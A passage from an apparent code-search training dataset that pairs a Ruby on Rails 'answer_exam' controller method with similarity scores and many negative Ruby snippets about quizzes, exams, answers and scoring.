days_to_view.days.ago).group_by_day(:created_at).count\n\n @new_users = @events.where(name: \"new user\")\n @new_users_30 = @new_users.where('created_at > ?', 30.days.ago)\n @new_users_chart = @new_users.where('created_at > ?', days_to_view.days.ago).group_by_day(:created_at).count\n\n @sales = @events.where(name: \"sale\")\n @sales_30 = @sales.where('created_at > ?', 30.days.ago)\n @sales_chart = @sales.where('created_at > ?', days_to_view.days.ago).group_by_day(:created_at).count\n\n @messages = @events.where(name: \"message\")\n @messages_30 = @messages.where('created_at > ?', 30.days.ago)\n @messages_chart = @messages.where('created_at > ?', days_to_view.days.ago).group_by_day(:created_at).count\n end", "def rights_overview\n\t\t@survey = Survey.find(params[:id])\n\t\trespond_to do |format|\n\t\t\tformat.html \n\t\t\tformat.xml { render :xml => @survey }\n\t\tend\n\tend", "def index\n @experiments = Experiment.where(:user_id => current_user.id)\n page_group(current_user.group)\n page_title(\"Experiments\")\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @experiments }\n end\n end" ]
[ "0.6563129", "0.63776696", "0.63682985", "0.6346621", "0.63041836", "0.6240867", "0.6188893", "0.6098332", "0.6098332", "0.6098332", "0.60977805", "0.6015416", "0.60016423", "0.6000348", "0.5968198", "0.59553456", "0.5925617", "0.5903492", "0.5892124", "0.58904016", "0.5866006", "0.58601224", "0.5826772", "0.5823028", "0.57751036", "0.57618845", "0.5751303", "0.5750631", "0.5750631", "0.57499194", "0.57499194", "0.57499194", "0.57499194", "0.57499194", "0.57499194", "0.57499194", "0.57499194", "0.57499194", "0.57499194", "0.57499194", "0.57499194", "0.5737322", "0.5727436", "0.5714371", "0.5699759", "0.5697379", "0.56929797", "0.5689696", "0.5681759", "0.5680511", "0.5680292", "0.56696373", "0.5641688", "0.56331044", "0.56329757", "0.5631764", "0.56299835", "0.56280816", "0.56240374", "0.5623844", "0.5616046", "0.5615742", "0.5612172", "0.5609071", "0.55957323", "0.5590897", "0.55682546", "0.55682546", "0.55682546", "0.55682546", "0.55682546", "0.55682546", "0.55682546", "0.55682546", "0.55682546", "0.55682546", "0.55682546", "0.55682546", "0.55644584", "0.5564066", "0.55548745", "0.5553905", "0.5553214", "0.5548516", "0.55482167", "0.55459213", "0.55437744", "0.5520418", "0.5515138", "0.55066466", "0.5499434", "0.5492267", "0.5488816", "0.5483866", "0.5483744", "0.5479407", "0.5479343", "0.5479193", "0.5479061", "0.5474185" ]
0.7585871
0
name: answer_exam explanation: this method parameters: none return: questions of enemamigo
def answer_exam if params[:year_exam] questions ||= Question.where(year: params[:year_exam]) assert(questions.kind_of?(Question)) else questions ||= Question.all assert(questions.kind_of?(Question)) end if !questions.empty? auxiliar_exam ||= push_questions_auxiliar(questions) @exam = push_questions(auxiliar_exam) else redirect_to_back(select_exam_path) if params[:year_exam] flash[:danger] = t(:year_exam_not_found) else flash[:danger] = t(:exam_not_found) end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def quiz\n end", "def answers\n request('answers')\n end", "def questions\n \n end", "def questions_explanation\n puts \"Time to do the quiz!.\"\n puts \"\"\n puts \"Each question will be printed to the screen.\"\n puts \"Once you see it, simply type in your answer and hit the enter/return key.\"\n puts \"If you can't think of an answer right away, you can skip the question and return to it at the end.\"\n puts \"\"\n puts \"Ok, let's go! (Hit enter/return when you're ready)\"\n gets\n end", "def quiz_answer(quiz)\n if quiz.answer_type == 'multi'\n show_multi_answer(quiz.answers.first.text, quiz.answer_input)\n elsif quiz.answer_type == 'check'\n show_check_answer(quiz.answers.first.text, quiz.answer_input)\n else\n quiz.answers.first.text\n end\n end", "def answers\n @answers ||= generate_answers\n end", "def answers\n [].tap do |a|\n a << teaching_maths_or_physics\n a << current_school\n a << initial_teacher_training_subject\n a << initial_teacher_training_subject_specialism if eligibility.initial_teacher_training_subject_specialism.present?\n a << has_uk_maths_or_physics_degree if eligibility.has_uk_maths_or_physics_degree.present?\n a << qts_award_year\n a << employed_as_supply_teacher\n a << has_entire_term_contract if eligibility.employed_as_supply_teacher?\n a << employed_directly if eligibility.employed_as_supply_teacher?\n a << disciplinary_action\n a << formal_performance_action\n end\n end", "def user_answers_for(exam)\n exam_answer = self.custom_exam_answers.find_by(custom_exam: exam)\n exam_answer.user_answers if exam_answer\n end", "def question\n answer.question\n end", "def answer question\n\n # find the value that should be entered\n data = request[question[:reference_identifier]]\n\n response_set.responses.where(question_id: question).delete_all\n\n case question.type\n\n when :none\n answer = question.answers.first\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => data\n })\n\n when :one\n # the value is the reference identifier of the target answer\n answer = question.answers.where(reference_identifier: data).first\n\n unless answer.nil?\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :any\n # the value is an array of the chosen answers\n answers = question.answers.where(reference_identifier: data)\n answers.each do |answer|\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :repeater\n # the value is an array of answers\n answer = question.answers.first\n i = 0\n data.each do |value|\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => value,\n response_group: i\n })\n i += 1\n end\n\n else\n throw \"not handled> #{question.inspect}\"\n end\n\n end", "def answer question\n\n # find the value that should be entered\n data = request[question[:reference_identifier]]\n\n response_set.responses.where(question_id: question).delete_all\n\n case question.type\n\n when :none\n answer = question.answers.first\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => data\n })\n\n when :one\n # the value is the reference identifier of the target answer\n answer = question.answers.where(reference_identifier: data).first\n\n unless answer.nil?\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :any\n # the value is an array of the chosen answers\n answers = question.answers.where(reference_identifier: data)\n answers.each do |answer|\n response_set.responses.create({\n answer: answer,\n question: question\n })\n end\n\n when :repeater\n # the value is an array of answers\n answer = question.answers.first\n i = 0\n data.each do |value|\n response_set.responses.create({\n answer: answer,\n question: question,\n answer.value_key => value,\n response_group: i\n })\n i += 1\n end\n\n else\n throw \"not handled> #{question.inspect}\"\n end\n\n end", "def set_exam\n @exam_answer = ExamAnswer.find(params[:id])\n end", "def answers\n @answers ||= {}\n end", "def result\n @exam = current_exam(params)\n\n @exam_reporter = @exam.evaluate(params[:answers])\n end", "def create\n\t\n\t@exam_answer = ExamAnswer.new(exam_answer_params)\n\tif @exam_answer.exam_id == 999\n\t\t@exam_answer.exam_level = params[:exam_lv]\n\t\t@questions = Question.all.where(level: params[:exam_lv])\n\t\t@exams_questions = @questions.all.where(id: [params[:q1_id], params[:q2_id], params[:q3_id], params[:q4_id], params[:q5_id], params[:q6_id], params[:q7_id], params[:q8_id], params[:q9_id], params[:q10_id]])\n\telse\n\t\t@exam = Exam.find(@exam_answer.exam_id)\n\t\t@exam_answer.exam_level = @exam.level\n\t\t@questions = Question.all.where(level: @exam_answer.exam_level)\n\t\t@exams_questions = @questions.all.where(id: [@exam.question1, @exam.question2, @exam.question3, @exam.question4, @exam.question5, @exam.question6, @exam.question7, @exam.question8, @exam.question9, @exam.question10])\n\tend\n\t\n\t@exam_answer.user_id = current_user.id\n\t@exam_answer.ans1 = params[:q1]\n\t@exam_answer.q1 = (@exam_answer.ans1 == @exams_questions[0].answerR ? true : false)\n\t@exam_answer.ans2 = params[:q2]\n\t@exam_answer.q2 = (@exam_answer.ans2 == @exams_questions[1].answerR ? true : false)\n\t@exam_answer.ans3 = params[:q3]\n\t@exam_answer.q3 = (@exam_answer.ans3 == @exams_questions[2].answerR ? true : false)\n\t@exam_answer.ans4 = params[:q4]\n\t@exam_answer.q4 = (@exam_answer.ans4 == @exams_questions[3].answerR ? true : false)\n\t@exam_answer.ans5 = params[:q5]\n\t@exam_answer.q5 = (@exam_answer.ans5 == @exams_questions[4].answerR ? true : false)\n\t@exam_answer.ans6 = params[:q6]\n\t@exam_answer.q6 = (@exam_answer.ans6 == @exams_questions[5].answerR ? true : false)\n\t@exam_answer.ans7 = params[:q7]\n\t@exam_answer.q7 = (@exam_answer.ans7 == @exams_questions[6].answerR ? true : false)\n\t@exam_answer.ans8 = params[:q8]\n\t@exam_answer.q8 = (@exam_answer.ans8 == @exams_questions[7].answerR ? true : false)\n\t@exam_answer.ans9 = params[:q9]\n\t@exam_answer.q9 = (@exam_answer.ans9 == @exams_questions[8].answerR ? true : false)\n\t@exam_answer.ans10 = params[:q10]\n\t@exam_answer.q10 = (@exam_answer.ans10 == @exams_questions[9].answerR ? true : false)\n\t\n\trec_point = (@exam_answer.q1 ? 1:0) + (@exam_answer.q2 ? 1:0) + (@exam_answer.q3 ? 1:0) + (@exam_answer.q4 ? 1:0) + (@exam_answer.q5 ? 1:0) + (@exam_answer.q6 ? 1:0) + (@exam_answer.q7 ? 1:0) + (@exam_answer.q8 ? 1:0) + (@exam_answer.q9 ? 1:0) + (@exam_answer.q10 ? 1:0)\n\tpoints = rec_point/10.to_f\n\tif @exam_answer.exam_id == 999\n\t\tif params[:exam_lv] == \"Początkujący\"\n\t\t\tpoints2 = points*10.to_i\n\t\telse\n\t\t\tpoints2 = points*20.to_i\n\t\tend\n\telse\n\t\tpoints2 = points*@exam.points.to_i\n\tend\n\t@exam_answer.rec_points = points2\n\n\tif @exam_answer.exam_id == 999\n\t\ttemp = 7/10.to_f\n\t\tif params[:exam_lv] == \"Początkujący\"\n\t\t\t@min = temp*10.to_i\n\t\telse\n\t\t\t@min = temp*20.to_i\n\t\tend\n\telse\n\t\ttemp = 7/10.to_f\n\t\t@min = temp*@exam.points.to_i\n\tend\n\n\tif @exam_answer.rec_points >= @min\n\t\t@user_progress = UserProgress.find_by user_id: current_user.id\n\t\tif @exam_answer.exam_id == 999\n\t\t\tif params[:exam_lv] == \"Początkujący\" && @user_progress.p10?\n\t\t\t\t@user_progress.update(poczatkujacy: true)\n\t\t\telsif params[:exam_lv] == \"Zaawansowany\" && @user_progress.z10?\n\t\t\t\t@user_progress.update(complete_all: true)\n\t\t\t\t@user_progress.update(zaawansowany: true)\n\t\t\tend\n\n\n\t\telse\n\n\t\t\tif @exam.level == \"Początkujący\" && @user_progress.p10?\n\t\t\t\t@user_progress.update(poczatkujacy: true)\n\t\t\telsif @exam.level == \"Zaawansowany\" && @user_progress.z10?\n\t\t\t\t@user_progress.update(complete_all: true)\n\t\t\t\t@user_progress.update(zaawansowany: true)\n\t\t\tend\n\t\tend\n\t\tcurrent_user.increment!(:points, points2)\n\t\trespond_to do |format|\n\t\t if @exam_answer.save\n\t\t format.html { redirect_to @exam_answer, :notice => \"Zdales egzamin!.\" }\n\t\t format.json { render :show, status: :created, location: @exam_answer }\n\t\t else\n\t\t format.html { render :new }\n\t\t format.json { render json: @exam_answer.errors, status: :unprocessable_entity }\n\t\t end\n\t\tend\n\t\t\n\telse\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to exam_list_path , :notice => \"Nie zdales egzaminu, zdobyles za malo punktow, liczba otrzymanych punktow - #{@exam_answer.rec_points} , minimum do zdania - #{@min}\" }\n\t\t format.json { render exam_list_path, status: :unprocessable_entity , location: exam_list }\n\t\tend\n\tend\nend", "def evaluate_answers\n self.answers.each do |a|\n q = a.question\n a.correct = (a.answer_mask == q.answer_mask)\n a.save(:validate=>false)\n end\n end", "def answers\n []\n end", "def answer\n @form_data = Form.get_published_form(params[:code])\n if @form_data.nil?\n redirect_to \"/dashboard\"\n else\n @questions = Question.get_questions_by_ids(@form_data['id'], JSON.parse(@form_data['question_order']))\n @all_options = Option.collect_options_per_quetions(JSON.parse(@form_data['question_order']))\n end\n end", "def question\n @question = params[:question]\n @answer = %w[yes no].sample\n end", "def exam_result\n if params[:exam_id]\n @exam = Exam.find(params[:exam_id])\n assert(exam.kind_of?(Exam))\n @exam = fill_user_answers(@exam)\n\n current_user.exams_total_questions += @exam.questions.count\n current_user.update_attribute(:exam_performance, current_user.exam_performance + [@exam.accepted_answers])\n\n @exam.save\n return @exam.user_answers\n else\n return redirect_to_back\n flash[:danger] = t(:exam_message)\n end\n end", "def answers\n [answer_1, answer_2]\n end", "def similar_questions\n\n end", "def answers\n [].tap do |a|\n a << qts_award_year\n a << claim_school\n a << current_school\n a << subjects_taught\n a << leadership_position\n a << mostly_performed_leadership_duties if eligibility.had_leadership_position?\n a << student_loan_amount\n end\n end", "def run\n aciertos = 0\n puts name\n questions.each do |q|\n puts q\n print \"Su respuesta: \"\n resp = gets.chomp.to_i\n raise IndexError, \"Answer must be between 1 and #{q.answers.size}.\" unless resp <= q.answers.size and resp > 0\n if q.answers[resp-1].state\n puts \"Correcto!\".colorize(:light_green)\n @aciertos += 1\n else\n correcta = q.answers.select { |ans| ans.state }.first\n puts \"Fallo, la respuesta correcta era #{correcta}\".colorize(:red)\n end\n puts\n end\n puts \"Has acertado el #{(@aciertos/questions.size.to_f)*100}% de las preguntas [#{@aciertos} de #{questions.size}].\"\n end", "def answer\n if answered?\n answers.last.answer\n else\n [{:answer => \"not answered\"}]\n end\n end", "def run\n\t\t\tputs name\n\t\t\tquestions.each do |q|\n\t\t\t\tputs q\n\t\t\t\tprint \"Su respuesta: \"\n\t\t\t\tresp = gets.chomp.to_i\n\t\t\t\traise IndexError, \"La respuesta debe estar entre 1 y #{q.answers.size}.\" unless resp <= q.answers.size and resp > 0\n\t\t\t\tif q.answers[resp-1].state\n\t\t\t\t\tputs \"Correcto!\"\n\t\t\t\t\t@aciertos += 1\n\t\t\t\telse\n\t\t\t\t\tcorrecta = q.answers.select { |ans| ans.state }.first\n\t\t\t\t\tputs \"Fallo, la respuesta correcta era #{correcta}\"\n\t\t\t\tend\n\t\t\t\tputs\n\t\t\tend\n\t\t\tputs \"Has acertado el #{(@aciertos/questions.size.to_f)*100}% de las preguntas [#{@aciertos} de #{questions.size}].\"\n\t\tend", "def get_answers\n @answers\n end", "def answer\n @question = params[:questions]\n # we need to get the value from params in order to store the question.\n if @question.eql? 'I am going to work'\n @answer = 'Great!'\n elsif @question.end_with?('?')\n @answer = 'Silly question, get dressed and go to work!'\n else\n @answer = \"I don't care, get dressed and go to work!\"\n # we create @ = instance variable in order to use outside of the method.\n end\n end", "def select_exam\n end", "def perform(user, questions)\n \n end", "def generate_answers\n raise \"This should be handled by subclasses!\"\n end", "def ask_questionaire\n alert_reserved_and_exit if git.reserved_branch?\n announce\n ask_title\n ask_label\n ask_pivotal_ids if config.use_pivotal_tracker\n ask_jira_ids if config.use_jira\n end", "def quiz\n @questions = Question.all\n @idx = params[:idx] ? (params[:idx].to_i + 1) : 0\n if params[:answer]\n question = Question.find(params[:id])\n if check_answer(params[:answer], question.answer)\n @correct_answer_number = params[:correct_answer_number].to_i + 1\n if @idx < @questions.size\n flash[:notice] = \"Correct\"\n else\n flash[:notice] = \"Correct. Summary: You have answered #{@correct_answer_number} question(s) correctly out of #{@questions.size}\"\n end\n else\n @correct_answer_number = params[:correct_answer_number].to_i\n if @idx < @questions.size\n flash[:notice] = \"Incorrect\"\n else\n flash[:notice] = \"Incorrect. Summary: You have answered #{@correct_answer_number} question(s) correctly out of #{@questions.size}\"\n end\n end\n else\n @correct_answer_number = 0\n end\n if @idx >= @questions.size\n @idx = 0\n @correct_answer_number = 0\n end\n flash[:notice] = \"No questions have been added yet. Please ask the administrator to add some questions first.\" if @questions.size == 0\n end", "def answers(options={})\n parse_answers(request(singular(id) + \"answers\", options))\n end", "def evaluate_answer(answer)\n question = answer.question.actable\n answer_text_array = answer.normalized_answer_text.downcase.gsub(/([^a-z ])/, ' ').split(' ')\n answer_text_lemma_array = []\n answer_text_array.each { |a| answer_text_lemma_array.push(WordNet::Synset.morphy_all(a).first || a) }\n\n hash_lifted_word_points = hash_compre_lifted_word(question)\n hash_keyword_solutions = hash_compre_keyword(question)\n\n lifted_word_status = find_compre_lifted_word_in_answer(answer_text_lemma_array, hash_lifted_word_points)\n keyword_status = find_compre_keyword_in_answer(answer_text_lemma_array, lifted_word_status, hash_keyword_solutions)\n\n answer_text_lemma_status = {\n 'compre_lifted_word': lifted_word_status,\n 'compre_keyword': keyword_status\n }\n\n answer_grade = grade_for(question, answer_text_lemma_status)\n\n [\n correctness_for(question, answer_grade),\n answer_grade,\n explanations_for(question, answer_grade, answer_text_array, answer_text_lemma_status)\n ]\n end", "def inspect_question(q)\n index_question(q) unless q.tag.empty?\n ref_question(q)\n q.answers.each { |a| ref_answer(q, a) }\n end", "def answers(options={})\n self.class.parse_answers(request(singular(user_id) + \"/answers\", options))\n end", "def answer(data)\n @action = Action.find_by_class_assignment_id_and_user_id(\n @session[:assignment_id], @current_user.id)\n @action_problem = action.action_problems.find_by_problem_id_and_end_time(data[:problem].id, nil)\n @assignment_answer = AssignmentAnswer.create(\n :action_problem_id => @action_problem.id,\n :problem_id => data[:problem].id, \n :answer => data[:correct] || data[:incorrect], \n :correct => data.has_key?(:correct), \n :user_id => @current_user.id, \n :class_assignment_id => @session[:assignment_id], \n :time => Time.now)\n\n #action_problem.incorrect_answers += 1 if data.has_key?(:incorrect)\n #action_problem.first_assignment_answer_id = @assignment_answer.id if action_problem.first_assignment_answer_id.nil?\n #action_problem.save!\n\n if @assignment_answer.first_response? and @assignment_answer.problem.scaffold_id.nil?\n student_id = Student.find_by_user_id(@session[:user]).id\n sa = StudentAssignment.find_or_create_by_student_id_and_class_assignment_id(student_id, @session[:assignment_id])\n sa.increment(:correct_first_answers) if data[:correct] and -1 == @session[:hint_count]\n sa.increment(:all_first_answers)\n sa.save\n end\n # Question level table\n log = QuestionLevelLog.find_by_class_assignment_id_and_user_id_and_problem_id(\n @session[:assignment_id], @current_user.id, data[:problem].id)\n unless log.nil?\n # IF FIRST RESPONSE\n if log.first_action.nil?\n log.first_response_time = @assignment_answer.time\n # if request scaffold\n if @assignment_answer.answer.nil?\n log.first_action = 2\n log.correct = 0\n # if an answer\n else\n log.first_action = 0\n log.attempt_count += 1\n log.correct = @assignment_answer.correct? ? 1:0\n log.answer = @assignment_answer.answer\n if @assignment_answer.answer.class.to_s == \"HashWithIndifferentAccess\"\n log.answer_id = @assignment_answer.answer[:id] unless @assignment_answer.answer[:id].nil?\n log.input_text = @assignment_answer.answer[:body] unless @assignment_answer.answer[:body].nil?\n else\n log.input_text = @assignment_answer.answer\n end\n end\n # NOT THE FIRST RESPONSE\n else\n # if an answer\n unless @assignment_answer.answer.nil?\n log.attempt_count += 1\n end\n end\n log.save\n end\n end", "def set_exam\n\t\t\t@exam = Exam.includes(:questions).find(params[:id])\n\t\tend", "def answer\n\t\tget_data\n\n\t\t@summary = @data[$randId]['news_summary']\n\t\t@c_answer = @data[$randId]['c_answer']\n\t\t@alt1 = @data[$randId]['alt1']\n\t\t@alt2 = @data[$randId]['alt2']\n\t\t@alt3 = @data[$randId]['alt3']\n\t\t@cat = @data[$randId]['category_id']\n\t\t@ans = params[:param1]\n\t\t@id = params[:param2]\n\t\t@url = @data[$randId]['news_url']\n\t\t@hex = @data[$randId]['category_hex_code']\n\n\t\tget_descriptions(@url)\n\n\t\t@title = @desc_data['title']\n\t\t@summary = @desc_data['desc']\n\t\t@image = @desc_data['image']\n\n\t\ttagstring = @data[$randId]['tag']\n\t\tunless tagstring.nil? || tagstring.empty?\n\t\t\t@tags = tagstring.split(\",\")\n\t\t\t@taglength = @tags.length\n\t\tend\n\tend", "def correct_answer(text)\n answer = Answer.new(text, true)\n @errorReporter.register answer\n @test.last_question.add_answer answer\nend", "def answers\n return @answers\n end", "def with_answers\n @questions = Question.answered\n render(:action => \"index\")\n end", "def answer_texts\n self.answers.map { |a| a.choice }\n end", "def answer_texts\n self.answers.map { |a| a.choice }\n end", "def ask\n\t\tbegin\n\t\t\tputs self\n\t\t\tprint \"Su respuesta: \" \n\t\t\tanswerno = gets.to_i - 1\n\t\tend while (answerno < 0 or answerno >= @answers.length)\n\t\t#Comprobamos si es correcta la respuesta\n\t\t@answers[answerno].is_right? \n\tend", "def show\n @questions = @exam.questions\n @question = Question.new\n end", "def answers=(value)\n @answers = value\n end", "def answer_a_question\n user = current_user\n render_401 and return unless user\n question = ShortQuestion.find_by_id(params[:id])\n render_404 and return unless question\n\n obj = {\n :qid => params[:id],\n :answer => params[:choice]\n }\n \n answers = {}\n $r.multi do\n $r.lpush(\"user:#{user.id}:questions\", obj)\n $r.hincrby(\"question:#{question.id}:answers\", \"choice#{params[:choice]}\", 1)\n choices = $r.hget(\"question:#{question.id}:answers\", :num_choices)\n for i in 1..choices\n answers[i] = $r.hget(\"question:#{question.id}:answers\", \"choice#{i}\")\n end\n end\n render :json => {\n :success => true,\n :answers => answers\n }\n end", "def validate_answer(answer)\n end", "def answers(options={})\n @answers = self.class.parse_answers(request(singular(question_id) + \"/answers\", options))\n end", "def answer(question)\n response = []\n begin\n\ttexto = QUERY_TEMPLATE.sub(/%command%/, question)\n\tprint texto \n\tquery = QueryFactory.create(texto)\n\t# qexec = SparqlDLExecutionFactory.create(query, storage.inferred)\n\tqexec = QueryExecutionFactory.create(query, storage.inferred); #qexec = QueryExecutionFactory.create(query, storage.model);\n results = qexec.execSelect\n response = parse_results(results)\n ensure\n qexec.close if qexec\n end\n response\n end", "def incorrect_answer(text)\n answer = Answer.new(text, false)\n @errorReporter.register answer\n @test.last_question.add_answer answer\nend", "def ask_question(num = @trivia[:cur_quest])\n self.say \"\\0036 #{@questions[num][:question]}\"\n STDOUT.puts \"\\n :#{@questions[@trivia[:cur_quest]][:answer]}: \\n\"\n end", "def examinar(*resp)\n cabecera\n for i in 1..@numeroPreguntas\n puts mostrarPregunta(i)\n input(i,resp[i-1])\n end\n return notaFinal\n end", "def save_exam_answer_for!(exam, question_answered, user_answers=[], answer=false)\n custom_exam_answer = CustomExamAnswer.find_or_create_by(custom_exam: exam, flashcard: self)\n\n custom_exam_answer.update(answered: question_answered, correct: answer, answered_correct_in_exam: answer, user_answers: user_answers)\n end", "def answer\n @question = params[:question]\n if @question == 'I am going to work' then @answer = 'Great!'\n elsif @question.include? '?'\n then @answer = 'Silly question, get dressed and go to work'\n else @answer = \"I don't care, get dressed and go to work!\"\n end\n end", "def open_answer_question(text, points, correctAnswer)\n question = OpenQuestion.new(text, points, NIE)\n @errorReporter.register question\n @test.add_question question\n correct_answer(correctAnswer)\nend", "def answers_explanation\n system(\"clear\")\n puts \"Time for the answers!\"\n puts \"\"\n puts \"Each question will be printed to the screen followed by your answer.\"\n puts \"To show the actual answer, just hit the enter/return key.\"\n puts \"You can then award yourself points if you got some or all of the question correct.\"\n puts \"Just type the number of points for the question (0 is fine if you got it wrong) and hit enter/return.\"\n puts \"We'll display your overall tally at the end.\"\n puts \"\"\n puts \"Please note: if you want to give yourself half a point, please use decimals instead of fractions\"\n puts \"E.g. enter 0.5 instead of 1/2\"\n puts \"\"\n puts \"Ready? (Hit enter/return when you are)\"\n gets\n end", "def askQuestion(timeframe=1*DAY_TO_SECONDS)\n facts = @kb.getFacts(timeframe)\n while facts.length > 0\n fact = facts.sample\n matched = []\n @qat.each do |qat|\n ismatch = qat.matches(fact)\n matched.push(ismatch) if ismatch\n end\n qat,matchesArr = matched.sample\n if not qat #matching failed to match QAT and Tag\n facts = facts - [fact]\n next\n else\n #write question\n question,answers = qat.generateQuestionAnswerPair(fact,matchesArr)\n answers = [answers]\n if qat.aconds.first[:type] and qat.aconds.first[:type].include? 'list'\n similar = @kb.getSimilar(fact,timeframe,(not qat.aconds.first[:type].include? 'anysubclass'))\n similar.each do |simfact|\n answers << qat.generateQuestionAnswerPair(simfact,matchesArr)[1]\n end\n end\n puts \"Question:#{question}\"\n puts \"Possible Answers:#{answers.map {|a| a.gsub(\"\\n\",\"\")}}\"\n return [question,answers]\n end\n end\n return false\n end", "def answer_question(i, answer)\n @answers[i] = answer\n end", "def ask_question_and_check_answer\n question = MathGame::Question.new\n puts \"#{@turn}: #{question.display_question}\"\n question.obtain_answer\n question.display_message_on_answer\n question.correct?\n end", "def exam_answer_params\n params.require(:exam_answer).permit(:id, :exam_id, :user_id, :q1, :q2, :q3, :q4, :q5, :q6, :q7, :q8, :q9, :q10, :rec_points, :exam_level)\n end", "def ask_question\n @game_id = params[:game_id]\n @current_game = Game.find(@game_id)\n @bonus = params[:bonus]\n unless @current_game.players_turn?(current_user.id)\n back_to_index and return\n end\n\n if @current_game.normal_round?\n subject_title = params[:subject]\n @subject = subject_title\n @questions = Question.questions_by_user_experience(current_user.experience_level, @subject)\n @question = @questions.sample\n elsif @current_game.challenge_round?\n @challenge = Challenge::get_ongoing_challenge_by_game(@current_game.id)\n if @challenge\n @question = Question.find(@challenge.get_question_id_by_counter)\n @subject = @question.subject_title\n elsif @challenge.nil?\n wager = params[:wager]\n prize = params[:prize]\n if wager && prize\n @challenge = Challenge.create_challenge(@current_game.id, current_user.id, @current_game.opponent_id(current_user.id), wager, prize)\n else\n redirect_to game_challenge_path(:game_id => @current_game.id)\n end\n end\n end\n if @question\n respond_to do |format|\n format.html\n format.xml { render :xml => @question }\n end\n end\n end", "def exam_details(ex)\n exams_data = ex.exams.all\n flag = false\n exams_data.each do |exam|\n exam.exam_scores.each do |es|\n flag = true if es.is_failed?\n end\n exams << exam if flag == true\n end\n exams\n end", "def answer\n @assessment = Assessment.new(assessment_params)\n @assessment.user_id = current_user.id\n if @assessment.save\n @assessment.update_attributes(check_user_answer)\n render json: @assessment.as_json(only: [:question_id, :user_option, :is_correct,:is_skipped]), status: :created\n else\n render json: @assessment.errors, status: :unprocessable_entity\n end\n end", "def set_exam_question\n @exam_question = ExamQuestion.find(params[:id])\n end", "def create_answers_if\n if self.type.name == 'satisfaction-100'\n 5.times do |n|\n Answer.create(question: self, value: (n*25).to_s + \"%\")\n end\n end\n if self.type.name == 'free-text'\n Answer.create(question: self, value: \"textarea\")\n end\n end", "def check_for_answers(questions)\r\n @possible_questions = []\r\n questions.each do |question| \r\n unless question.answers.length < 2 \r\n @possible_questions << question \r\n end \r\n @possible_questions\r\n end \r\n end", "def question(q, a)\n qu = Question.new(q,a)\n questions << qu\n @counter = 0 #Se inicializa el contador\n end", "def create\n\n @exam = Exam.new(exam_params)\n result=@exam.save\n @exam.add_questions_to_exam(@validated_question)\n respond_to do |format|\n if result\n format.html { redirect_to @exam, notice: \"已成功建立考试“#{@exam.name}.”\" }\n format.json { render :show, status: :created, location: @exam }\n else\n format.html { render :new }\n format.json { render json: @exam.errors, status: :unprocessable_entity }\n end\n end\n end", "def evaluate\n response = Quiz.find(params[:quiz_id]).evaluate(params[:questions], current_user)\n @answers = response[:answers]\n @nota = response[:grade]\n\n respond_to do |format|\n format.html { render 'evaluate' }\n end\n end", "def answer\n @contest_response = get_my_latest_response(@contest.id, true)\n return play if @contest_response.completed?\n\n ans_attr = {:question_id => params[:question_id]}\n ans_attr[:question_option_id] = params[:answer][:question_option_id] if params[:answer] && 'Skip' != params[:commit] \n if ans = @contest_response.add_answer(ans_attr)\n unless ans.errors.empty?\n respond_to do |format|\n render :xml => ans.errors.to_xml and return\n end\n end\n end \n respond_to do |format|\n format.html { redirect_to contest_url(@contest.url_attributes(:action => 'play')) }\n format.js { play }\n format.xml { return render(:xml => @contest_response.to_xml(:base_url => request.host_with_port)) }\n end \n end", "def question_params\n params.require(:question).permit(:exam_id, :question, :correct_answer, :answer_1, :answer_2, :answer_3, :description)\n end", "def answer\n survey = Survey.find(find_params)\n sa = SurveyAnswerer.new(survey)\n\n if sa.answer(answer_params)\n head :ok\n else\n render json: sa.errors, status: :unprocessable_entity\n end\n end", "def ask\n \"@all Question '#{@question}'\"\n end", "def index\n @examquestions = Examquestion.all\n end", "def show\n #TODO: Qiita 記事がない場合はrouteを変えて飛ばす\n if @question == nil\n render \"questions/delete_question\"\n return\n end\n # before_action :set_question\n if @question.best_answer_id\n @bestanswer = Answer.find(@question.best_answer_id)\n end\n\n if user_signed_in?\n @answer = @question.answers.build(user_id: current_user.id)\n end\n impressionist(@question, nil, unique: [:session_hash])\n\n end", "def exam_data(subject)\n Exam.result(subject.id, id)\n end", "def set_examquestion\n @examquestion = Examquestion.includes(:question, qpaper: :university_course ).find(params[:id])\n end", "def test_answer_initalized\n assert_equal(\"Pavel\", @question.answer)\n end", "def show_explanation\n @room = current_user.room\n @question = @room.question\n return if !@room.show_explanation?\n last_choice = current_user.histories.last.choice if !current_user.histories.empty?\n current_user_choice = (last_choice and last_choice.question_id==@question.id) ? last_choice : nil\n\n puts \"User #{current_user.id} chose #{current_user_choice.id if current_user_choice}\"\n @choices = @question.choices.collect do |choice| {\n data: choice,\n result: if choice.correct\n \"correct\"\n elsif current_user_choice and choice.id==current_user_choice.id\n \"selected\"\n end,\n selected: @room.active_users.all.select {|u| u.histories.last.choice_id == choice.id if !u.histories.empty?}\n }\n end\n messages = {\n correct: \"Congratulations! You got the right answer.\",\n incorrect: \"Sorry, you got the wrong answer. See explanation below.\",\n blank: \"You didn't select an answer. See explanation below.\"\n }\n styles = {\n correct: \"alert alert-success\",\n incorrect: \"alert alert-error\",\n blank: \"alert\"\n }\n # If there's a choice_id (user chose a choice) and that choice is correct\n if current_user.status != 0\n #If user didn't select answer\n if current_user_choice==nil\n @change= current_user.lose_to!(@question)\n @message = messages[:blank]\n @style = styles[:blank]\n #If user chose an incorrect answer\n elsif !current_user_choice.correct?\n @change = current_user.lose_to!(@question)\n @message = messages[:incorrect]\n @style = styles[:incorrect]\n else\n @change = current_user.win_to!(@question)\n @message = messages[:correct]\n @style = styles[:correct]\n end\n end\n render partial: \"show_explanation\"\n end", "def answerable_questions\n answerable = []\n\n unanswered_questions.each do |question|\n answerable.push(question) if precondition_met(question)\n end\n\n return answerable\n end", "def get_quest\n\t\tget_data\n\n\t\t$finish = false\n\t\tunless $finish == true\n\t\t\t$randId = rand(0...(@data.length-1))\n\t\t\twhile $quiz_arr.include?(@data[$randId]['id'])\n\t\t\t\t$randId = 